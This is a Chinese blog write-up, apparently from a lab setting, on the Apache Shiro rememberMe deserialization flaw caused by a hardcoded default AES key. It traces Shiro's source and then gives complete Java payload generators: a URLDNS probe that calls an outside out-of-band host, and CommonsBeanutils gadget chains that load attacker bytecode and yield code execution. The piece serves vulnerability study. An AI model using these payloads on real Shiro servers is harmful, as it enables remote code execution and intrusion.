本文最后更新于:18 天前
感谢P神提供的环境:shirodemo
环境部署 在官网下载好Tomcat之后,将tomcat解压至一个目录中
然后在IDEA的启动项目处点击编辑配置
在左边添加Tomcat的本地服务器,
并进行路径配置,IDEA会帮我们自动获取系统中的tomcat版本列表,这里我用的是tomcat9
IDEA内,选择启动方式是当前文件运行项目,这时候idea会自动帮我们编译构建好项目
构建好之后目录下新增了一个target目录
再来到tomcat的配置处,在部署的位置新增WEB-INF的上一级目录,我这里也就是编译好的target目录下的shirodemo
随后选择以tomcat配置运行项目
成功唤起浏览器,来到demo页面,环境搭建至此结束
序列化流程 shiro将一部分数据存储序列化并加密之后存储在cookie中,这样就不需要每次都重复登陆了,数据通过Cookie中rememberMe的值传入后端之后,经过解密,反序列化获得到存储的数据
全局搜索Cookie,有一个类的名字吸引了我的注意力,CookieRemberMeManager,顾名思义显然和rememberMe这个Cookie有脱不开的干系
进行审计,其中方法rememberSerializedIdentity()中对参数serialized进行base64编码之后,存储到cookie中,这个serialized参数必然就是和序列化后数据相关的一个对象,那就看看谁调用了rememberSerializedIdentity()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 protected void rememberSerializedIdentity (Subject subject, byte [] serialized) { if (!WebUtils.isHttp(subject)) { if (log.isDebugEnabled()) { String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet " + "request and response in order to set the rememberMe cookie. Returning immediately and " + "ignoring rememberMe operation." ; log.debug(msg); } return ; } HttpServletRequest request = WebUtils.getHttpRequest(subject); HttpServletResponse response = WebUtils.getHttpResponse(subject); String base64 = Base64.encodeToString(serialized); Cookie template = getCookie(); Cookie cookie = new SimpleCookie (template); cookie.setValue(base64); cookie.saveTo(request, response); }
来到了rememberIdentity()方法,传入了一个subject对象以及一个PrincipalCollection对象,这个PrincipalCollection暂时不去理会,主要发现传入rememberSerializedIdentity()方法的serialized对象,来自于经过convertPrincipalsToBytes()方法处理后的一个字节流,那就去看看convertPrincipalsToBytes()的定义
1 2 3 4 protected void rememberIdentity (Subject subject, PrincipalCollection accountPrincipals) { byte [] bytes = convertPrincipalsToBytes(accountPrincipals); rememberSerializedIdentity(subject, bytes); }
总体看上去功能非常的清晰,先对principals对象进行一个序列化,然后再经过加密后返回字节流
1 2 3 4 5 6 7 protected byte [] convertPrincipalsToBytes(PrincipalCollection principals) { byte [] bytes = serialize(principals); if (getCipherService() != null ) { bytes = encrypt(bytes); } return bytes; }
跟进encrypt()函数看看加密的方式,加密的接口getCipherService(),去看看是怎么个事
1 2 3 4 5 6 7 8 9 protected byte [] encrypt(byte [] serialized) { byte [] value = serialized; CipherService cipherService = getCipherService(); if (cipherService != null ) { ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey()); value = byteSource.getBytes(); } return value; }
来到了一个getter,那就去构造函数看看
1 2 3 public CipherService getCipherService () { return cipherService; }
显然这里的加密方式就是AES了,并且默认的key也在构造函数此处设定了setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
1 2 3 4 5 public AbstractRememberMeManager () { this .serializer = new DefaultSerializer <PrincipalCollection>(); this .cipherService = new AesCipherService (); setCipherKey(DEFAULT_CIPHER_KEY_BYTES); }
跟进去看一眼,能看到这里的默认key直接明晃晃放在这里了,这也是shiro此次漏洞的关键所在,使用了默认的key导致能恶意构造任意的序列化数据后自行加密,传输到服务器后被解密后反序列化
1 private static final byte [] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==" );
反序列化流程 上面有serialize()方法,那必然有deserialize()方法来进行反序列化,因此定位到函数,这里的解密肯定也是用aes不做过多赘述
1 2 3 4 5 6 protected PrincipalCollection convertBytesToPrincipals (byte [] bytes, SubjectContext subjectContext) { if (getCipherService() != null ) { bytes = decrypt(bytes); } return deserialize(bytes); }
一路跟进到deserialize()方法的实现处,发现对于序列化数据没有任何的检测,直接读取后走入readObject()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public T deserialize (byte [] serialized) throws SerializationException { if (serialized == null ) { String msg = "argument cannot be null." ; throw new IllegalArgumentException (msg); } ByteArrayInputStream bais = new ByteArrayInputStream (serialized); BufferedInputStream bis = new BufferedInputStream (bais); try { ObjectInputStream ois = new ClassResolvingObjectInputStream (bis); @SuppressWarnings({"unchecked"}) T deserialized = (T) ois.readObject(); ois.close(); return deserialized; } catch (Exception e) { String msg = "Unable to deserialze argument byte array." ; throw new SerializationException (msg, e); } }
poc构建 按照上面的流程的分析,cookie的序列化流程为:
1 2 3 对象进行序列化 使用base64 解码后的密钥对序列化后的字节流进行加密 使用base64 编码aes加密后的流,最终返回base64 编码后的cookie
反序列化漏洞的poc自然就是URLDNS链了,对hashmap序列化之后,按照shiro的加密流程以及默认密钥构造poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 package com.potato.Commons_Collections;import org.apache.shiro.codec.Base64;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class shiro { public static void setFieldValue (Object object, String fieldName, Object value) throws Exception{ Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } public static byte [] getPayload() throws Exception { URL url = new URL ("http://a2dz0r9p5z2ofy7sh8ymezjev51wppde.oastify.com" ); HashMap<URL,Object> hashMap = new HashMap <>(); Class<?> c = url.getClass(); Field field = c.getDeclaredField("hashCode" ); field.setAccessible(true ); field.set(url,114514 ); hashMap.put(url,11 ); field.setAccessible(true ); field.set(url,-1 ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream outputStream = new ObjectOutputStream (byteArrayOutputStream); outputStream.writeObject(hashMap); outputStream.flush(); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payloads = shiro.getPayload(); AesCipherService aes = new AesCipherService (); byte [] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" ); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(Base64.encodeToString(ciphertext.getBytes())); } }
将rememberMe放入cookie中
接收到dns记录
exp构建 CC依赖 shiro集成了cb依赖,因此可以通过CB链来构造exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 package com.potato.Commons_Collections;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import org.apache.shiro.codec.Base64;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.PriorityQueue;public class shiro { public static void setFieldValue (Object object, String fieldName, Object value) throws Exception{ Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } public static byte [] getPayload() throws Exception { TemplatesImpl templates = new TemplatesImpl (); byte [][] bytes = new byte [][]{Files.readAllBytes(Paths.get("D:\\tmp\\Test1.class" ))}; Class<?> c = TemplatesImpl.class; Field f = c.getDeclaredField("_bytecodes" ); f.setAccessible(true ); f.set(templates,bytes); TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl (); f = c.getDeclaredField("_tfactory" ); f.setAccessible(true ); f.set(templates,transformerFactory); f = c.getDeclaredField("_name" ); f.setAccessible(true ); f.set(templates,"11" ); BeanComparator beanComparator = new BeanComparator (); beanComparator.setProperty("outputProperties" ); PriorityQueue priorityQueue = new PriorityQueue (beanComparator); Class c1 = priorityQueue.getClass(); Field queueField = c1.getDeclaredField("queue" ); queueField.setAccessible(true ); queueField.set(priorityQueue,new Object []{templates,templates,templates}); Field sizeField = c1.getDeclaredField("size" ); sizeField.setAccessible(true ); sizeField.set(priorityQueue,3 ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream outputStream = new ObjectOutputStream (byteArrayOutputStream); outputStream.writeObject(priorityQueue); outputStream.flush(); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payloads = shiro.getPayload(); AesCipherService aes = new AesCipherService (); byte [] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" ); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(Base64.encodeToString(ciphertext.getBytes())); } }
但是第一次打过去的时候就发现没有动静,在shiro的控制台也出现了无法反序列化的报错,因此在deserialize()处打个断点,走到异常的地方,提示
1 local class incompatible: stream classdesc serialVersionUID = -2044202215314119608 , local class serialVersionUID = -3490850999041592962
是两边serialVersionUID的不同导致的,这种情况一般是由于版本对不上导致的,
这时候我突然想起来,前面学习CB链的时候用的好像是cb1.9.2的。。火速降级为1.8.2
1 2 3 4 5 <dependency > <groupId > commons-beanutils</groupId > <artifactId > commons-beanutils</artifactId > <version > 1.8.2</version > </dependency >
重新编译运行,在cookie中发送payload,成功弹窗计算器
CC无依赖 虽然上面的CB链利用看上去只用到了commons beanutils,但是实际上当展开BeanComparator的import之后,会发现是引入了ComparableComparator的,而ComparableComparator是在cc中的。但是shiro只调用了cb中的一部分类,而没有调用BeanComparator,导致shiro默认是不需要CC依赖的
当我们把pom.xml中的CC依赖给注释掉,重启项目
再次发送payload时,没有触发计算器弹窗,在shiro终端出现报错,断点跟进看看异常的详情
1 Unable to load ObjectStreamClass [org.apache.commons.collections.comparators.ComparableComparator: static final long serialVersionUID = -291439688585137865L ;]:
追踪问题的所在,看看BeanComparator类中哪里调用了ComparableComparator,根据给出的三个构造函数,很容易知道按照我们上面的payload,调用BeanComparator的无参构造函数,是会走到第三个两个参数的构造函数处的,并且给comparator赋值中调用了ComparableComparator
1 2 3 public BeanComparator () { this ( null ); }
1 2 3 public BeanComparator ( String property ) { this ( property, ComparableComparator.getInstance() ); }
1 2 3 4 5 6 7 8 public BeanComparator ( String property, Comparator comparator ) { setProperty( property ); if (comparator != null ) { this .comparator = comparator; } else { this .comparator = ComparableComparator.getInstance(); } }
因此我们只需要通过反射修改一下comparator的值即可,但是修改后的comparator有几个必须满足的条件
实现了Serializable接口
实现了Comparator接口
在JDK中或者shiro依赖中或者CB中
最终找到一个CaseInsensitiveComparator类位于String中,虽然本身是私有的,但是它被String中的CASE_INSENSITIVE_ORDER
给实例化了,CASE_INSENSITIVE_ORDER
是一个CaseInsensitiveComparator对象,尝试利用反射将comparator修改为CASE_INSENSITIVE_ORDER
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 package com.potato.Commons_Collections;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.apache.shiro.codec.Base64;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.PriorityQueue;public class shiro { public static void setFieldValue (Object object, String fieldName, Object value) throws Exception{ Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } public static byte [] getPayload() throws Exception { TemplatesImpl templates = new TemplatesImpl (); byte [][] bytes = new byte [][]{Files.readAllBytes(Paths.get("D:\\tmp\\Test1.class" ))}; Class<?> c = TemplatesImpl.class; Field f = c.getDeclaredField("_bytecodes" ); f.setAccessible(true ); f.set(templates,bytes); TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl (); f = c.getDeclaredField("_tfactory" ); f.setAccessible(true ); f.set(templates,transformerFactory); f = c.getDeclaredField("_name" ); f.setAccessible(true ); f.set(templates,"11" ); BeanComparator beanComparator = new BeanComparator (); beanComparator.setProperty("outputProperties" ); Class<?> c0 = beanComparator.getClass(); Field comparatorField = c0.getDeclaredField("comparator" ); comparatorField.setAccessible(true ); comparatorField.set(beanComparator,String.CASE_INSENSITIVE_ORDER); PriorityQueue priorityQueue = new PriorityQueue (beanComparator); Class c1 = priorityQueue.getClass(); Field queueField = c1.getDeclaredField("queue" ); queueField.setAccessible(true ); queueField.set(priorityQueue,new Object []{templates,templates,templates}); Field sizeField = c1.getDeclaredField("size" ); sizeField.setAccessible(true ); sizeField.set(priorityQueue,3 ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream outputStream = new ObjectOutputStream (byteArrayOutputStream); outputStream.writeObject(priorityQueue); outputStream.flush(); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payloads = shiro.getPayload(); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payloads); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); AesCipherService aes = new AesCipherService (); byte [] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" ); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(Base64.encodeToString(ciphertext.getBytes())); } }
成功执行命令
JRMP 康康javaDeserializeLabs下的lab3罢
不出网 康康javaDeserializeLabs下的lab4罢